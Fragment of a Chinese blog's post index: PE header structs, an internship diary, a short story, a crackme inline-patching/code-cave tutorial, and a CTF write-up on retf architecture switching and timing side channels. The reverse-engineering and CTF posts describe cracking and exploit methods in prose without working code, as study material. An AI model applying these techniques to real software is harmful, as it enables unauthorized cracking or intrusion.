*PIMAGE_FILE_HEADER;\n\n\ntypedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // NT additional fields. // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;\n\n\ntypedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\n\n\ntypedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader;} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;\n\n\n#define IMAGE_FILE_MACHINE_UNKNOWN 0#define IMAGE_FILE_MACHINE_TARGET_HOST 0x0001 // Useful for indicating we want to interact with the host and not a WoW guest.#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386.#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian#define IMAGE_FILE_MACHINE_THUMB 0x01c2 // ARM Thumb/Thumb-2 Little-Endian#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // ARM Thumb-2 Little-Endian#define IMAGE_FILE_MACHINE_AM33 0x01d3#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon#define IMAGE_FILE_MACHINE_CEF 0x0CEF#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8)#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian#define IMAGE_FILE_MACHINE_ARM64 0xAA64 // ARM64 Little-Endian#define IMAGE_FILE_MACHINE_CEE 0xC0EE","categories":["Note","杂物间","逆向工程"],"tags":["PE"]},{"title":"实习随想与踩坑记录","url":"/2022/09/07/record-202209/","content":"大二的暑假时开始了自己第一次的实习,也是第一次一个人处理各种各样的事情。实习地点在北京知道创宇 404 实验室,由于在当地并没有认识什么熟人,所以很多事情都要自己去处理,虽然遇上了很多麻烦,但最后姑且是安定下来开始实习了。\n而本文写于实习结束一段时间后,在我离开北京一段时间以后有些感冒,学习进度一直没办法推进,闲来无事,坐在房间里慢慢整理这段时间的内容。如果您也有打算去外地学习,或许本文能提供一些建议。\n\n关于面试有关面试的问题我并未记录,目前来说也没背过面经,给我面试的师傅也不知道是北京的还是其他支部的人。最后能被招进 404 实验室大概有很多运气成分。也很感谢带我师傅,教了我不少东西。\n个人觉得实习的面试并没有说非常难,有可能就是招进去打个杂,可能有的师傅会觉得自己比较菜,不过个人来说还是建议试试看,毕竟没进的话也不过就是再学一年,下一年还是可以再投简历的。投进了自然就能去实习了。个人来说,哪怕只是参加一个面试,对自己来说也不会吃亏。\n关于住宿因为我是一个人去北京工作,当时并没有其他认识的人跟我一起,所以当时没办法选择和同伴一起合租酒店。\n在北京,租房的租金可能也比其他地方高,至少比我学校附近要高不少。以我个人的情况来说,我当时是选则了合租,月租两千,押金两千,而且因为是短租,所以需要一次性付清。两个月的房租加上水电和物业费将近七千,属于是前脚刚到就大出血了。\n但说是合租,我并不认识合租人。当时是在 app 上找到了物业,然后直接从物业这边签的租房合同,没有中介费是个好事,而且住小区相对来说会安全一点。当时的房子是三人合租,大概都是同一个人负责的,我是最后一个搬进去的,隔壁是一个姐姐和一个大哥。\n最开始我还在用流量,不过流量确实不够用。和隔壁的大哥商量了一下,它就把网借我用了。我当时说是自己出网费,不过大哥人好,没收我的网费。\n\n不过在第二个月中旬,大哥就搬走了,然后我和隔壁的姐姐商量了一下,她也把网借我用了,而且也没收我的网费……(一天一元的移动网,两个人都吐槽过网很差)\n\n租房的坑但是租房的麻烦就是,你所有的生活用品还要自己去买,这又要花上百来块。我租的房间只有一张桌子、一把椅子、一个床垫,以及两个空衣柜,然后厕所和洗衣机是三人共用的。没有阳台,窗帘的横栏上面挂了几根鞋带,似乎是上一个租户留下来的,衣服就直接挂在那个上面。当时的房间电源不够,一个插排都要五十多。并且最开始进去的时候,空调还不制冷,正好是暑假比较热的时期,晚上没枕头也没空调,觉都睡不好,最后还是一周之后才派人来修,属于是恶心人。\n所以建议情况跟我相似的师傅还是尽量住酒店,能少 80% 的麻烦。而且大部分酒店都是双人间,如果是两个人合租,价格就更便宜了。不过选址要花点时间。\n我当时的房间租在孙河,高德地图查的通勤时间大概是 50 分钟,但是每天早上上班时会有非常严重的堵车,大概要 80 分钟才能到,还好第一天报到没有记入考核,不然当天就要被踢掉了(第一天报道就迟到了一个小时)。\n而公司一般都在朝阳和海淀,公司附近的房租肯定都更贵,我的房间还算是比较便宜,且通勤勉强能接受的情况。\n如果师傅选择住酒店,那就没有这种麻烦,因为酒店的价格基本上都差不多,只要不选那种商务间或者假日酒店之类的,大部分酒店的双人间或者多人间价格其实都在 150~300 之间。平摊以后根据情况是可以把月租压在三千以内的,甚至两千。(听上去有点离谱,但这是真的,只要你找的途径比较广。因为我当时就找到了那种租金很低的酒店。而且如果是长租,可以提前打电话问一下能不能打折,很多时候是可以的)\n另外一种更便宜的情况是,找那种青年旅社,基本上都是宿舍是一样的环境,唯一的缺点就是没有个人空间,很多事情可能不太自由,但租金也是真的低,两千以内都有很多选择。\n一综上所述,如果你的月薪或者底蕴能够接受,我最推荐的就是住酒店,事少且轻松,环境也好。\n二如果酒店对你来说比较贵,那我建议你租房,租金相对较低且比较自由。但缺点是,你需要自己鉴别什么地方能租,什么地方不能租,尤其是一些看起来非常优厚的房间。\n\n在贝壳租房上面可能会找到那种看起来环境很棒的独栋或者单间,你签合同的时候需要注意签了多久。因为它们可能会让租客签一年的合同,但跟租客说住几个月付几个月,但是最终退租的时候会让租客找好下家,否则不给退押金。\n我当时就是嫌弃这种很烦,没选贝壳上面的这些。而且贝壳上面很多也有中介费,哪怕是两千租金,算下来还是多花了不少。\n\n另外一种比较推荐的租房方式是,早一点到北京,然后在一些小区附近的公交站待着。\n我当时到北京之后才注意到,我小区楼下的公交站旁边,白天会有好几个人站在那边举着租房的牌子或者架在电动车前面。单间基本上都是一千起步,价格比网上看的更低,而且基本上你如果愿意去看,他们直接就用电动车载你过去现场看房了,而且似乎也没有中介费,他们好像是赚房东的佣金。\n但缺点是,你必须提早到实地去,并且在找到合适的住房以前先在酒店之类的地方租住。而且仍然需要自己跑,除此之外的麻烦并不比上一种少。\n三最后是青年旅舍,价格便宜但环境最差。价格便宜但随机性强,很多时候付了钱就没办法退了,之后才发现没办法和室友相处就逃不掉了。如果要去投诉什么的,最后大概率还是能退的,但是这可要比上面更麻烦,而且不清楚要花多少时间。\n关于通勤北京地铁是挺方便的,但是当时租房附近是没有地铁站的,单车大概要骑 15 分钟。不过有的时候比较赶,还是会骑单车去做地铁。因为早上的公交路线非常堵,我基本上都是早上八点之前出发,然后尽量在九点以前到公司。如果早上八点半出发,堵车时间大概会增加半个小时。七点到九点这段时间,基本上拥堵程度会随时间变强,所以公交上班的师傅可能要注意一下。\n地铁的话就没这种烦恼,基本上都是准点到达,不会堵车。但麻烦的是,真的非常拥挤。因为我之前没怎么坐过大城市的地铁,还以为所谓的拥挤也就是公交车上人挤人的状况。但实际情况是,真的会有连落脚点都找不到的时候。因为公交车上基本上很挤了就不会让人上了,但地铁没人管,上班时间就会死命往里挤……\n当然,如果住的近,走路或者单车上班就没这些麻烦了,不过实习工资一般都不高,而一线城市基本都是这个情况,师傅们自己权衡吧。\n关于疫情疫情是无可奈何的事情,在中国目前的环境下,平民遭遇疫情就只能自认倒霉了。暑假开始的前几个月北京就出现了疫情,当时封控了一阵子之后逐步放开,然后是又是上海开始疫情。到暑假的时候,两个地方的疫情都基本被控制了,加上我自己的学校所在地没有疫情,因此入京并不会很难。\n但麻烦的是,因为我暑假结束打算返校,因此如果到时候爆发疫情再次封控,肯定就没办法返校了。在这方面,个人来说,再如何考虑都是无能为力的。只要不打消实习的念头,北上广深总要挑一个,就算去成都武汉或者其他地方,也都是这样。如果担心疫情爆发无法返校,除了最开始就不去实习以外,没有更好的方法。\n\n事实上,我在北京实习结束以后去了趟贵州。从疫情开始以来,我相信您基本上没听说过贵州有爆发过很严重的疫情。\n但就在我快要从贵州返回的时候,贵州爆发了疫情,出现了好几个高风险区。时间大概是今年九月份。\n所以只要疫情防控的政策没有改变,在哪都有可能遇上疫情。这种没办法主动规避的意外基本上没有什么好办法避免。\n\n关于吃饭北京的物价比我学校高了不少。平常在学校这边点一顿饭大概十五以内搞定,但北京基本上不超过三十就是幸运了。\n我实习的公司每天中午都会几个人一起去附近的餐馆吃饭,每顿都是二五左右,每周都会吃一次三十多的拌面……从这里考虑的话,食物开销也是一笔不小的支出了。\n我估计一线城市基本都是这个价位,点外卖的情况,除了最开始还能开个月卡会员,靠无门槛红包吃几顿十几块钱的饭,之后的食物就基本上恢复这个价位了。一般一日两餐的情况下,一天的伙食大约要五十左右,而一日三餐可能就要到六十多了。公司楼下的包子店里卖的包子,一个小小的豆沙包都要三块钱还是五块钱……(第一次去上班的时候买了一个,惊于其价格高昂,从此就再没在附近吃过早餐了)\n\n也有可能是我不会吃饭吧,如果不计后果的吃饭,大概可以更便宜,但一顿正常的、适合普通人吃的饭,大概都是这个价格了。像是外卖里常见的那种烤肉饭,大概是最便宜的一类了,我没少吃过,一顿大概 18 左右。\n但是如果和别人合租,吃饭是几个人一起吃的话,还是能相对便宜一点的。只要能避免各点各的,靠着满减红包,偶尔能把价格压在二十出头。\n\n关于延期返校和离职麻烦快开学了就差不多要离职了,我这边只要提前跟老大说一声,然后在 OA 上发离职流程,之后到正常离职就行了。一般这个周期在 3-5 天左右,不过听说有的公司需要提前半个月,这就不太清楚了。\n不知道有没有师傅会遇到跟我差不多的情况。按照正常返校的话,大概月底干到 25 号离职,然后月初返校,中间的间隔也就 5 天。因为房租基本上是按月付,如果延期返校的话,就意味着要多租一个月了。\n\n比方说我,延期返校是 12 号,这意味着我如果续租就只能住 12 天,但是房租却要付一个月。但如果去住酒店,按照一天百来块的计算,十几天也是一千多了,还是很难避免亏损。\n\n所以这种情况下基本上要么续租或者住酒店然后继续工作,毕竟薪水是按日计算,干几天给几天,争取用薪水覆盖这几天的住房开销。不过基本上都没办法阻止亏损,除非自己的日新确实很高,毕竟双休日是不计工资的。\n\n我比较菜,所以只能拿到这么点,不过大佬们要是能拿到日薪五六百的话,每天住高档酒店都够了。\n\n要么就是回家。由于我自己家离北京太远,高铁/飞机的车/机票开销都够我住一个星期左右了,所以怎么考虑都是亏损的。\n\n唯独没有提前返校的选择。鬼知道校领导咋想的,就是不让学生提前进校,如果提前回学校,最后还是要在学校附近是酒店住到返校日为止。反正挺恶心人的。\n\n关于学习我个人属于那种需要满足一定的环境条件和时间条件才能够学的进去的类型。实习期间其实大多数时候都不满足我自己对学习的需求。因此开始工作以后,尤其是打杂工作居多的情况,其实我自己是不太能学的下去的。\n简单来说,我自己的学习要求是,能有一段足够长的连续性的时间用于只学某一个东西,且不用在乎其他事情是否有可能被延期的情况。\n这个条件和我自己的实习环境其实不太吻合。最开始让我研究 V8 的时候,因为老大没有布置其他任务,所以那段时间比较投入,写了几篇文章,也复现并分析了几个漏洞,姑且还算顺利。不过后来又被拉回去继续干杂活,让我一半搞 V8,一半干杂活,其实也并没有太大问题,但是越往后,有几次杂活的进度比较慢,然后就去赶杂活的进度,导致 V8 就被耽搁了,正好自己研究的部分比较麻烦,需要一段较长的时间去搞,可能也是我自己干活的效率不高导致的,总之最后就没啥时间继续研究 V8 了。\n归根结底可能还是我太菜了,很多东西虽然能搞,但效率一定不如那些比较强的人,渐渐就把自己拖垮了。\n当然,实习也同样学到了很多东西,但这些东西未必就是最开始想要学的东西。如果师傅打算抱着学习的目的去实习的话,我认为哪怕自己暑假回家,多泡泡图书馆,效率或许比实习要高不少,毕竟不需要把时间和精力耗费在那些极其麻烦的事情/意外上。\n关于其他以上内容是我整理时姑且能够想到的,它或许并不完整。如果您在阅读时对某些方面抱有疑问,也欢迎另外与我联系。\n日后若有机会,本篇将会继续更新。\n\n封面ID:96895391\n","categories":["Note","杂物间"],"tags":["实习"]},{"title":"红羊幻梦——随笔杂记","url":"/2021/04/18/reddream/","content":"       匙站在塔罗拉那一望无际的荒原上,这里既没有彩虹,也没有牛羊。有的只是那些乏味的黄褐色枯草和望不到边际的腾跃着尘埃的彼方。他从未离开过塔罗拉,好像双脚扎根在这片贫瘠的土地上,动弹不得。\n       可是现在,他终于打算离开这里了。他的父母早在数年前离世,而他的妻子也在上个月病逝。他的牵挂已经全都断裂,若孤魂野鬼、亦或游离的躯壳,他现在只想出去散散心,找个僻静而安逸的地方,就此结束这平庸而无谓的一生。\n       塔罗拉的人们都习惯把自己葬在这片荒漠里,他们虔诚地信仰着塔罗拉神,相信自己的死亡是回归大地的仪式。于是,满眼都是墓碑,四周净是坟墓。触手可及的漆黑石碑早已被风化,有些未曾相识的人的姓名也不可辨认;那些隐现在尘埃的薄纱中的小小石碑,好像在烈日的灼烤下跳起癫狂的舞。或许这在旁人眼中是一片萧条,但塔罗拉人都觉得——这就是繁荣。\n      抽出一截风蚀裸露的白骨,祭拜其原主之后,匙拄着它继续前行。\n      混着沙砾的风吹起了他的斗篷,灌入扎人的枯草;脚底的沙土竟开始缓慢地向着一个方向汇聚,不再阻挠他的旅行。渐渐地,它们开始纷飞、卷积、狂躁,拉扯着枯萎的草木卷向云顶,拖拽着匙汇入涡流。当他沉浸空白之中,回顾着过去的种种的时候,风与沙的狂舞遮蔽了天日,笼罩了墓地,同那些回旋的枯干演奏,亦有沙石化为齑粉的杂音。是那些石碑在鼓掌,它们相互碰撞;是匙在喝彩,它将被卷上云霄。\n      那狂风追赶着落魄的旅人,而旅人在前面窘迫地逃跑。双脚偶尔悬空,思绪偶尔停滞,畏惧着下一刻的悬空与那之后的坠落,也担心那些凌乱的碎石阻断意识。双脚传来的幻痛消褪,脑中的鸣笛停止,切割皮肤的凌冽寒风失去效力,干涸的咽喉仍腾着水汽。渗出在脖颈的汗水顺着脊椎滑进空气,渐渐地不再溢出;手足丧失的浑噩驱使着本能的觉醒,摇拽着破损的风衣。他无知觉地奔跑在喧闹的荒原上,昏暗的视线逐渐下沉,终是遮蔽天幕,掩埋意识……\n      不知过去了多久,干涸的沙漠迎来了一场久违的暴雨。月亮残存的余光不过脚底稍纵即逝的涟漪,模糊的光斑成了漆黑天幕的污秽。锐利的雨丝好像要割裂皮肤,划破血管,最后在血液里漫游。\n      匙从没想过会发生这些,他甚至都不知道这里还是不是塔罗拉的荒原。凌冽的冻雨叫醒了昏睡在沙丘上的他,突至的极寒与尘暴令他的思绪一片混乱。\n      塔罗拉的气候总是这样捉摸不定,平日里都靠着村里的信使从隔壁的城镇捎来消息,可他外出的时候却忘记了和信使打个招呼。如果信使告诉了他这之后将会有尘暴与暴雨,匙或许就不会离开村子了,但是没有如果,他现在必须自己整理混乱的思绪,然后从迷途归返……\n      “可我为什么要回去?”\n      匙的眼中还是那个贫穷的村庄,有父母和妻子的墓碑的村庄,有满目萧条的沙地与枯燥乏味的日子的村庄。而现在,他却在为分不清方向而激动,抑或是混淆了兴奋与恐惧制造的错觉。他打算扶着淋湿的墓碑站起,却发现自己够不到墓碑的顶端;那本该是久未打磨的粗糙石碑,现在摸着却如宝石般光滑。绕过这面高大的石碑,借着雨夜里衰微的月光,匙目睹了他此生难忘的绝景。\n      那一面面高耸入云的黑曜石碑杂乱的分布在沙漠里,在雨水的浸润下漫射着昏暗月光。那些不加任何修饰的墓碑竟是如此的庄严,似是埋葬着早在远古时期就已死去的神明,并且还是不计其数的神明。一丛雷电照亮了远方,在被浓雾模糊的视界边际,耸立着无数朦胧而畸形的怪异塔楼。那些张牙舞爪的塔楼全都有着怪异的形状,有的像是蝙蝠、有的又像是八爪鱼,甚至还有的边檐以一种奇妙的曲度弯折,然后和周边的其他塔楼相勾连……\n      无论是那些难以名状的塔楼,抑或是身边那庄严肃穆的石碑,匙都不曾见过,也不曾听说过。\n      他漫步在黑曜石碑构成的雨林里。倾斜的暴雨逐渐败落,只剩下些朦胧到几乎看不见的水渍在空中紊乱着。轻柔的月光投进这没有枝叶的丛林,照在那冰冷而无生机的粗壮树干上。匙透过空气中弥散的雾气,望见了那黑曜石碑上篆刻的繁琐文字。那些在月下闪着银光的古老文字他一个都没法辨认。匙也不知该如何形容这些文字,但当他看见这些歪曲的文字时,脑中闪过的却是“浑浊”。它们就连字形都有些暧昧,其中还有着诡异的符号化文字,又夹杂着一些像是弗列格语似的序列组合。而这样的文字还不止在他身边的这块石碑上。向着月亮的方向望去,那些望不到顶的墓碑侧面都篆刻着闪烁着银光的古怪文字。匙也读不懂,他很想把这些东西抄下来,可是身上既没有笔,也没有纸,即便有纸,也在刚才的暴雨里湿透了吧。于是他只能瞪着眼,用那连弗列格语的单词都记不住的脑子去记忆这些文字。\n      就连他自己都没有意识到,他越是去记忆这些老旧文字,就越是沉迷。他无数次的撞上那冷硬的石碑,又无数次无视额头上几乎流血的红肿与已经麻木的双腿。那些若气泡般暧昧的黯银色文字在他的虹膜上蒸发、淡化,一如诗人的细语,又似昨日的惘闻,在他耳边吹响了怀念而陌生的笛音……\n      牧羊人在辽阔的草原上吹着笛子,身后跟着一群深黑色的“绵羊”还有一只雪白的“牧羊犬”。那些绵羊有着小山那样庞大的身形与漆黑如墨的毛发;不长眼睛的头顶有着一对锐利且棱角分明的羊角;粗壮的四肢每次踏下都会陷进深坑;叫声则像婴儿或是猿猴的哭声,甚至还有洞穴里的阴风、犀牛濒死的呜咽。\n      而后面跟着一只骨瘦如柴的牧羊犬。它耷拉着眼皮,有气无力地跟在后面,即便有谁掉队了,它也不赶不追,只是站在原地默默地盯着,喉咙里发出“呜呜”的声音,既没有威严,也没有底气。\n      而匙走在最前面,吹着笛子,领着羊群。就连他自己都不知道,自己要去到哪里,只是身体擅作主张地行动着罢了。\n      不过片刻的功夫,他们从草原走进了山地,又从山地迈入了戈壁,最后到达了火山脚底。灼热的岩浆不断跃起,在黑羊的脚跟烫出一块块黑斑。沉寂了上万年的灼烫为黑羊们献上礼赞,前方的吹笛人也为腾起的黑烟吟唱。那些古老的歌谣仿佛自遥远的过去就被铭刻在脑海,隔绝了意识与理性之后不自觉地颂咏。它们被笼罩在歌与浊的世界,狂乱与躁动蔓延,怠惰与理性抑制。他们开始撞击沉睡的古老石碑,开始撕心裂肺地悲鸣。从远方不可视的迷雾至眼前的碑林,从皲裂的黑曜石缝隙里溢出了滚烫的鲜血。干涸的土地上流淌起岩浆奔腾的红河,黑羊们被赶往四周,摧垮沿路的墓碑。那些被搅动的安眠、被打扰的永寂在这一刻毁灭,从被墓碑堵塞的泉眼里喷涌出壮丽的赤潮。细密的雨丝甚至蒸发不出水汽,溶解在灼热的空气里被吸入鼻腔。\n      雪白的牧羊犬不知所措地绕着各个废墟转圈,黑羊们仍在横冲直撞。匙吹着长笛走上了火山口,双脚不受控制的迈向燃烧的池水。他想要呼救,却发现咽喉好像被什么堵塞,才意识到自己就连呼吸都变得困难。\n      他以为是剧毒与恶臭的气体所致,可脚底的岩石却开始瓦解。远方的乌云开始变得清晰,闪烁与雷鸣的胁迫宛若真实。黑褐色的岩石逐渐化为粉尘,橙红色的泥浆近在眼前。眼中的黑斑逐渐放大,皎洁的月光逐渐褪为金黄。失去知觉的双腿传来灼烫,仿佛浸泡在岩浆池沼;双目的疼痛几乎阻断思考的回路;风暴割裂皮肤的感觉出离的真实,碎石与木屑刺入皮肤的疼痛让他怀疑起自己的处境;那些贯穿云霄的高大墓碑只剩下视界里的一个个黑色的污渍,如散沙一般被弃置在荒漠中。\n      悬空、悬空、悬空,坠落、坠落、坠落。\n      身体与双腿离异,黄沙灌入瞳眸。胸腔塞满了被卷入尘暴的各式各样的碎屑,腕关节脱臼、膝关节失踪、踝关节龟裂、鼻梁骨错位。视界中的一切都开始退化,金黄色的暴风被涂成血红,口腔里是沙砾与腥甜的味道。\n      涂抹了一遍又一遍的凄惨,一截落在了妻子的墓旁,另一截不知所踪。\n      不过是多了一座不完整的墓碑,与一场不完整的回归。\n","categories":["Story"],"tags":["随笔"]},{"title":"内嵌补丁 与 洞穴代码分析案例","url":"/2021/03/11/reverse02/","content":"示范案例:unpackme#1.aC.exe,学习过程参照《逆向工程核心原理》\n如您发现了某些错误和不规范,请务必指正。\n插画ID:85939258\n内嵌补丁:\n    如名字所述,是指将补丁内嵌进程序中的一种打补丁的办法。与常规补丁不同的是,内嵌补丁嵌入在程序的代码当中,也就是说,每次执行该程序时相当于打了一次补丁(常规补丁通常打下第一次就不需要再有第二次了)。\n洞穴代码:\n    内嵌补丁常用的一种打补丁的方法。目前我个人只了解到其对于“为加密或压缩过的代码下补丁”时的作用,因此也引之为例。\n    在反调试过程中,我们会希望能够修改其代码以达成破解。但对于那些被加密过的程序,却通常不能这样轻易的完成打补丁的工作。因为你修改后的代码会在启动程序时经过“解密”,那么你原本的代码就会遭到破坏,使得程序报错。但就出现一个问题——我按照它的方法加密后修改代码不就行了?\n    可以,但过程会相当繁琐。假设我们需要修改10条代码,那么就必须加密10份代码。也因为在“下补丁时应该尽可能地不去改变程序主代码”,所以通常不这样做。因此便存在“洞穴代码”这一操作。\n    在PE文件的学习中,我们了解到,节区映射到内存时,很可能会预留出一些NULL填补的区域。那么如果在这些区域覆写新的补丁代码,那么就很可能逃过程序的解密算法影响。\n    (注:这是我个人学习之后的猜测。越是复杂的解密算法就越是消耗算力,它们不可能浪费不必要的算力去把其他NULL覆盖的区域也来一次解密,所以这些区块理论上应该算是“安全区”一样的存在)\n    那么,攻击者需要做的,就是将解密算法最后的Jump指令(JNZ或者JE等跳转指令)指向我们添加补丁的位置,就能够让程序执行我们期望的行为。\n​\n如上图为unpackme#1.aC.exe的反调试代码。EP为401000,而401007开始往下有一段看似乱码的东西,实则就是被加密后的代码。​\n    上图为解密之后的同样区段。能够发现,其字符串明显变得正常了(详见如下的反调试过程)。但如果现在去修改程序的汇编代码,就会在下一次启动程序的时候遭到“解密”,致使程序运行错误。\n反调试过程:\n    调试程序,来到EP。发现只有一条401001处的CALL指令,跟入。然后在4010E9处将4010F5保存进EAX寄存器中,并将其入栈,再CALL 40109B。\n​\n​\n    不妨来到刚刚保存进EAX的4010F5处看看究竟保存了些什么。\n​\n    显然,这个EAX中保存的实际上是需要解码的代码段地址。那么就几乎可以认定,40109B就是接下来要进行的解码函数地址了。跟入。\n​\n    40109E处,将154放入ECX。而在4010A3~4010AD中,容易发现其对刚刚EAX处的代码进行了异或解密。那么154就应该是解密代码段的长度了。\n    正常解密时,完成该循环后应该达到4010B0处的CALL,转到4010BD,再次出现了循环。但本次解码的开始地址为401007,长度为7F,过程仅仅只是与7进行一次异或。\n    以及对EAX处保存的地址重新与11异或。可见EAX处的代码进行了双重加密。\n    而完成解密之后,返回4010B5,并由下一个CALL进入401039。\n​\n    在401046~40104F处存在一个加法循环,在401062处又进行了一次比较,实际上为一个校验过程。但在校验之前,40105D处的CALL会再一次进行解密过程,这里并不太重要,但不妨看看解密之后是否能找到什么讯息。如下图:\n​\n    显然,字符串“yoou must unpack me !!!”已经能够找到了。那么我们的目的显然就是修改这个地址处的字符了。\n​\n    继续调试将发现如上代码。401068处JE跳转至401083,再由401083跳转至40121E。\n​\n    因为Ollydbg在处理解码代码后的回显不太如意,此处换为了x32dbg,发现40121E处即为OEP(我个人是根据401220处调用GetModuleHandleA函数猜测得出的结论,但对于Windows系统的API还不太了解)。\n    同时也能发现,401280开始,均为0填充的空白区,那么就可以利用这一块来嵌入补丁了。\n​\n    覆写如上代码。该代码主要用于覆写原本的字符串(4012AB处储存的实际上为字符串“ReverseCore”,而4012B7则为字符串“unpacked”,写入之后被x32dbg识别为了其他东西以至于无法清晰分辨了……)。\n    最后则需要修改转入出的代码。由上面的图可见,401083处本该为跳转代码,其经过解密之后就是新的跳转代码了。那么覆写该段代码,将EE 91 06改为EE FF 06即可。\n​\n    (注:如下图。EE 91 06是未经过解密的代码,所以覆写的代码也应该处于加密状态,即EE FF 06。该方法建立在已知其解密方法为“将数值与7进行XOR处理,所以能够方向计算出新的代码”。即便不在反调试器中修改,直接通过修改16进制文件也能达到相同效果)\n​\n    该文件完成补丁。\n注:\n还存在一个问题。在实际调试过程中,反调试极有可能出现异常导致中断。原因出自于覆写字符串这一行为并不具有权限,因此调试很可能停在rep movsb上。将文件可写打开之后发现并没能解决问题。解决方案在得到答案后将会补齐。​\n","categories":["Note","逆向工程"],"tags":["逆向工程"]},{"title":"SCTF2021——gadget报告","url":"/2022/01/04/sctf2021-gadget/","content":"关键点总结:\n1.架构切换(retf与retfq与ret)\n2.侧信道攻击\n首先应该认识到:\nretn与retf这两条指令的区别 以及 64位机器是如何执行32位程序的\nretn(return near)近跳转,等同于 pop ip\nretf(return far)远跳转,等同于 pop ip;pop CS\nCS指的是**段寄存器(Code-Segment Register)**,在早期80386时代,它本用于地址拓展,但如今64位的系统下,该寄存器的内容已经和那个时代完全不同了。\n现代的CS寄存器中用于存放 **数据段选择子(Code-Segment Descriptors)**,如下为其格式:\n\n本文不再赘述其含义,我们主要关心该选择子的 D 标志位,它用以区分程序应该运行在32位还是64位架构上\n因此,如果D标志位被置1,则表示程序应该运行在64位,反之则为32位(请注意,这个说法并不严谨,因为它们的差别不只是一个bit而已,但本文出于便于理解的目的如此称呼,为避免误导,特此提醒)\n很多师傅的Writeup中写道:\n\ncs寄存器中0x23表示32位运行模式,0x33表示64位运行模式\n\n实际上,它们只有一个bit的差别而已,0x23:10 0011 ; 0x33:11 0011\n高两位是GDT的索引,具体对应到GDT中,其上的D位各不相同,因此导致了运行模式的差异\n另外需要提到的一点是,一部分师傅在WP里会这样写:\n\n使用retf切换到32位,retfq再回到64位\n\n但这二者实际上没有区别,不必多此一举,则一即可。但笔者在查阅资料的时候,并没有发现哪份文档写到retfq指令,猜测是由于AT&T语法的关系吧\n题目利用思路:\n仅有调用号0与5可用。但在32位下,0对于open;在64位下,5对应read。因此我们能够将flag读进内存。\n接下来将flag与我们猜测的内容进行比较,如果猜对,那么程序就跳转至死循环处,最终因为超时而down;否则就直接退出。猜测方式很多,较为易懂的是利用sub+jz来实现相等跳转\nEXP:\n(有时间再补)\n参考文章:\nhttps://m-ouse.github.io/post/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3wow64-I/\nhttps://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux\nhttps://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers\nMark:http://liupzmin.com/2021/06/27/theory/stack-insight-01-md/\n对我来说算是个冷知识:https://stackoverflow.com/questions/63975447/why-virtual-address-are-48-